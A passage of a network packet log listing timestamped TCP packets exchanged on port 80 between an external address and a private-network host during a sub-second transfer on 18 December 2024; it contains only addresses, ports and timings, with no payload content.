Dec 18, 2024 13:49:49.234162092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.234518051 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.234608889 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.235167980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.235266924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.235510111 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.236202955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.236258030 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.237234116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.237293005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.237301111 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.237556934 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.238029957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.238459110 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.238598108 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.239371061 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.239386082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.239501953 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.240264893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.240279913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.240354061 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.241234064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.241296053 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.241703987 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.242058992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.242288113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.243098974 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.243180990 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.243357897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.243415117 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.244240046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.244309902 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.244379044 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.245085955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.245387077 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.245430946 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.246088982 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.246316910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.246370077 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.247154951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.247302055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.247412920 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.248123884 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.248393059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.248440981 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.249177933 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.249336958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.249418020 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.250217915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.250317097 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.250412941 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.251157999 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.251384020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.251804113 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.252130032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.252334118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.252403975 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.253114939 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.253403902 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.253490925 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.254126072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.254389048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.254465103 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.255167961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.255393982 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.255543947 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.256181002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.256458998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.256508112 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.257169962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.257435083 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.257492065 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.258191109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.258378029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.258435965 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.259196997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.259363890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.259408951 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.260159969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.260442972 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.260567904 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.261209965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.261451006 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.261517048 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.262229919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.262420893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.262541056 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.263204098 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.263442039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.263582945 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.264276028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.264452934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.264518023 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.265531063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.265551090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.265917063 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.266405106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.266872883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.266930103 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.267169952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.321855068 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.406940937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.407109976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.407191038 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.407450914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.407859087 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.407953978 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.408267975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.408672094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.408786058 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.409364939 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.409631014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.409708023 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.410291910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.410538912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.410578012 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.411279917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.411580086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.411663055 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.412328959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.412518024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.412576914 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.413311005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.413606882 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.413676023 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.414334059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.414634943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.414805889 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.415304899 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.415545940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.415604115 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.416446924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.416620016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.416683912 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.417326927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.417574883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.417644978 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.419406891 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.419420004 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.419589996 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.420356989 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.420370102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.420412064 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.421314955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.421533108 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.421619892 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.421951056 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.422538042 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.422616959 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.422838926 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.422852039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.422959089 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.423609972 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.424144983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.424233913 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.424659014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.425043106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.425101042 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.425461054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.425741911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.425829887 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.426386118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.426628113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.426716089 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.427361965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.427639961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.427689075 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.428508997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.428657055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.428746939 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.429454088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.429908991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.429970980 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.430411100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.430778027 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.430839062 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.431457043 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.431763887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.431854963 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.432535887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.432704926 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.432831049 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.433459997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.433681011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.433742046 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.434441090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.434783936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.434842110 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.435458899 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.435683012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.435777903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.436444998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.436702013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.436784029 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.437671900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.437685013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.437742949 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.438563108 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.438925982 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.439043045 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.439565897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.439732075 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.440076113 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.440485954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.440694094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.440856934 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.441840887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.442169905 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.442256927 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.442651033 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.442831993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.443016052 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.443700075 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.443722010 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.443784952 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.444561958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.444838047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.444919109 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.445513964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.445735931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.445831060 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.446504116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.446804047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.446870089 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.447552919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.447804928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.447968960 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.448586941 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.448750019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.448848009 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.449696064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.449814081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.450105906 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.450643063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.450794935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.450969934 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.451632977 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.451781988 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.451888084 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.452588081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.452807903 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.453150034 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.453675032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.453815937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.453896999 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.454660892 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.454885960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.454993963 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.455612898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.455858946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.455914021 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.456593990 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.456943989 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.457000017 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.457720041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.458022118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.458112955 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.458904982 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.459178925 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.459217072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.460185051 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.509358883 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.599128008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.599241972 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.599303007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.599730968 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.599745989 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.600168943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.600275040 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.600461960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.600807905 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.601100922 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.601296902 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.601427078 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.602245092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.602346897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.602505922 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.603343964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.604052067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.604093075 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.604156971 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.604561090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.604635954 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.605370998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.605384111 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.605508089 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.606271982 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.606399059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.606596947 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.607125998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.607358932 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.607424021 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.608136892 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.608375072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.608573914 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.609325886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.609528065 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.609594107 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.610245943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.610604048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.610899925 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.611253977 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.611427069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.611884117 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.612149954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.612366915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.612483025 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.613343954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.613854885 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.613914967 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.614403009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.614650011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.614705086 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.615293026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.615426064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.615606070 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.616200924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.616451979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.616487980 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.617249012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.617425919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.618280888 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.618282080 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.618478060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.618596077 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.619807959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.619822025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.620348930 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.620575905 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.621073008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.621268988 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.621438026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.621958017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.622037888 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.622327089 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.622786045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.622845888 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.623625994 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.623920918 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.624062061 CET	49822	80	192.168.2.6	176.113.115.178
